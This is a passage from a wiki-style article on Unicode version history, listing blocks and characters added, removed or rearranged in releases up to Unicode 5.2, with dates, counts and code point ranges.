* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE and U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+06EE-U+06EF, U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F, U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''.
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''.
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''.
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''.
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''.
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''.
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''.
* Some symbols and signs (total 11 characters) were added to '''Khmer'''.
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''.
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''.
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''.
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''.
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''.
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''.
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''.
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''.
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''.
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''.
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
